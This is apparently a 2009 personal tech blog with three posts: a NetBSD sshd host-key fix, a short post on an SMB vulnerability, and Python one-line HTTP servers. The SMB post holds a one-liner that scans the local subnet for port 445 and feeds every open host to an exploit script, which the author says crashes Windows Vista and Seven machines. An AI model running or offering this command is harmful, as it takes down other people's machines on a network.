dimanche 13 décembre 2009

Netbsd "sshd failed to read the dsa_key..."

Just to notice this, from fresh install netbsd, sshd need 3 key to start. So you use ssh-keygen -t rsa1 and just 2 file are stored in /root/.ssh...not in right directory.
Resolve this problem with this :

> /usr/bin/ssh-keygen -t rsa1 -N "" -f /etc/ssh/ssh_host_key
> /usr/bin/ssh-keygen -t rsa -N "" -f /etc/ssh/ssh_host_rsa_key
> /usr/bin/ssh-keygen -t dsa -N "" -f /etc/ssh/ssh_host_dsa_key

mardi 6 octobre 2009

Just Another a Fucking H0le

Once again ..
http://seclists.org/fulldisclosure/2009/Sep/39
And for fun on your lan :

nmap -p445 $(ifconfig eth0 | head -2 | tail -1 | cut -d: -f2 | cut -d. -f 1,2,3).1-254 | grep -B3 open | grep -o -e '[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+' | xargs ./ Smb-Bsod.py
 
This cli crash/bsod all windows Vista/seven up on your lan :) 

mardi 29 septembre 2009

httpd'n'breakfast

3 months ago, i was tchatting with a friend on "how to share quickly my directory".
Oh, i forget to say.. my friend is a python-lover :)

Result 1 :
python -c 'import SimpleHTTPServer;SimpleHTTPServer.test()'
so nice ! this httpd is ok and chrooted :) but not multihtread ...
My friend is magic :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import SocketServer
import BaseHTTPServer
import sys, os
import CGIHTTPServer
port = 8000
class ThreadingCGIServer(SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer):
    pass
server = ThreadingCGIServer(('', port), CGIHTTPServer.CGIHTTPRequestHandler)
print "Serveur demarre sur le port %s." % port
try:
    while 1:
        sys.stdout.flush()
        server.handle_request()
except KeyboardInterrupt:
    print "Fini !"


Ok, you can finding another source on then net, it's not a creation but keep this in your home :) 
Another good source :
http://www.crashdump.fr/reseaux/serveur-http-python-en-une-ligne-649/
http://www.linuxjournal.com/content/tech-tip-really-simple-http-server-python
http://mollacademy.gcu.info/doku.php?id=python:httpd


Since..

ok, so i'm here to share my poor knowledge, links, stuff and my fucking curiosity !